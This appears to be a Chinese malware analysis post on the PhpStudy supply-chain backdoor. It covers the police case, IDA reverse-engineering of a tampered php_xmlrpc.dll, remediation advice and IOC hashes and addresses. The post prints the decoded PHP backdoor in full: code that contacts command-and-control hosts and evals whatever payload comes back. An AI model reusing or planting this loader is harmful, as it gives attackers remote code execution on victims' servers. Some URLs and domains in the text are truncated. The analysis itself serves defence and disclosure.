Phpstudy后门文件分析
PhpStudy是什么 PhpStudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。
后门供应链攻击活动揭露
近日,杭州公安报道了一起重大安全事件杭州警方通报打击涉网违法犯罪暨“净网2019”专项行动战果,其中详细说明了一起供应链攻击事件,以下为事件描述:
2018年12月4日,西湖区公安分局网警大队接报案称,某公司发现公司内有20余台计算机被执行危险命令,疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。据专家组确认,专案组经过缜密侦查,周全布置,于2019年1月4日至5日,兵分四路,分别在海南陵水、四川成都、重庆、广东广州抓获马某、杨某、谭某、周某某等7名犯罪嫌疑人,现场缴获大量涉案物品,并在嫌疑人的电子设备中找到了直接的犯罪证据。据统计,截止抓获时间,犯罪嫌疑人共非法控制计算机67万余台,非法获取账号密码类、聊天数据类、设备码类等数据10万余组。
据主要犯罪嫌疑人马某供述,其于2016年编写了“后门”,使用黑客手段非法侵入了PhpStudy软件官网,篡改了软件安装包内容。该“后门”无法被杀毒软件扫描删除,并且藏匿于软件某功能性代码中,极难被发现。
在专案组的侦查过程中,同时发现马某等人通过分析“盗取”的数据,得到了多个境外网站的管理后台账号密码,并通过修改服务器数据的方式实施诈骗,非法牟利共计600余万元。
目前,官方发通告称,被篡改的软件版本为PhpStudy2016版本中的php5.4版本,如果你是从其它下载站获取的该版本,请自行检查并删除其中的php5.4版本。
此次事件PhpStudy官网积极配合杭州公安的调查取证,在2019年1月已针对被篡改的进行了修复。
PhpStudy后门事件分析
2019年9月20日得知非官网的一些下载站中的phpstudy版本存在后门文件,后期多篇报道通报次后门问题。基于研究的目的,于是有了以下这文。
从某些下载站下载存在问题的phpstudy5.4.45,在虚拟机中解压安装,与外网隔离情况下开启PHPstudy。
查看PHP文件夹存在问题的dll动态链接库文件,找到如下文件
以文本打开找到相关敏感的PHP危险函数eval:
使用IDA进行具体文件分析:
(php_xmlrpc.dll文件中可疑的“eval”字符串)
“eval”字符串所在的这段代码通过PHP函数gzuncompress解压位于偏移0xd028到0xd66c处的shellcode并执行。
通过查看上图中的eval函数的具体内容详情:
看到PHP压缩函数,点击aGzuncompress函数
F5跳到对应位置:可以看到对应功能代码以及开始和结束位置如下图:
开始位置0xd028
截止位置:0xd66c
所在位置原理如图所示:
相应的功能代码为:
其中:
这里拼接了一个 @eval(gzuncompress('%s'));的代码 ,是调用gzuncompress方法解密执行某些代码,没解密前的代码来自asc_1000D028 到unk_1000D66C这个部分,拼接好的字符串放在v42处。
zend_eval_string处执行v42处执行的代码,我们把数据提取出来,并进行处理,并且经过php的gzuncompress解码。
第一个参数是字符串型的,就是要执行的PHP代码。
第二个是返回的值,因为是zval型的,所以得先做下初始化,直接操作return_value这个变量是可以直接返回给外面调用的PHP的。
第三个也是字符串,可以随便写,出错了提示地方的,后面接一个变态宏TSRMLS_CC。
经过解压之后的后门代码如下图所示,shellcode中经过base64编码的内容即为最终的后门。
(解压后的shellcode)
最终的后门请求C&C地址,执行由C&C返回的内容,目前该地址已无法正常连接。
将以上base64编码全部解密可以得到如下可执行代码:
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".,$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
修复方法:
1、可以从PHP官网下载原始php-5.4.45版本或php-5.2.17版本,替换其中的php_xmlrpc.dll
https://windows.
https://windows.
2、目前phpstudy官网上的版本不存在后门,可在phpsudy官网下载安装包进行更新
3、下载安装360或天擎,能有效清除并修复PhpStudy安装目录下的“后门”文件,全面保护个人信息及财产安全;
4、请及时修改服务器密码,其他使用相同注册邮箱和密码的网络帐户也应该一并修改,消除风险;
5、不要随意下载,接收和运行不明来源的文件,尽量到PhpStudy官网https://www.下载最新版PhpStudy安装包进行更新,以防中招。
附录:部分IOCs
被篡改的php_xmlrpc.dll:
c339482fd2b233fb0a555b629c0ea5d5
0f7ad38e7a9857523dfbce4bce43a9e9
8c9e30239ec3784bb26e58e8f4211ed0
e252e32a8873aabf33731e8eb90c08df
9916dc74b4e9eb076fa5fcf96e3b8a9c
f3bc871d021a5b29ecc7ec813ecec244
9756003495e3bb190bd4a8cde2c31f2e
d7444e467cb6dc287c791c0728708bfd
2018版PhpStudy安装程序
md5: fc44101432b8c3a5140fcb18284d2797
2016版PhpStudy安装程序
md5: a63ab7adb020a76f34b053db310be2e9
md5:0d3c20d8789347a04640d440abe0729d
IP:
133.130.101.150
Domain
bbs.
www.
up.
down.
cms.
file.
ftp.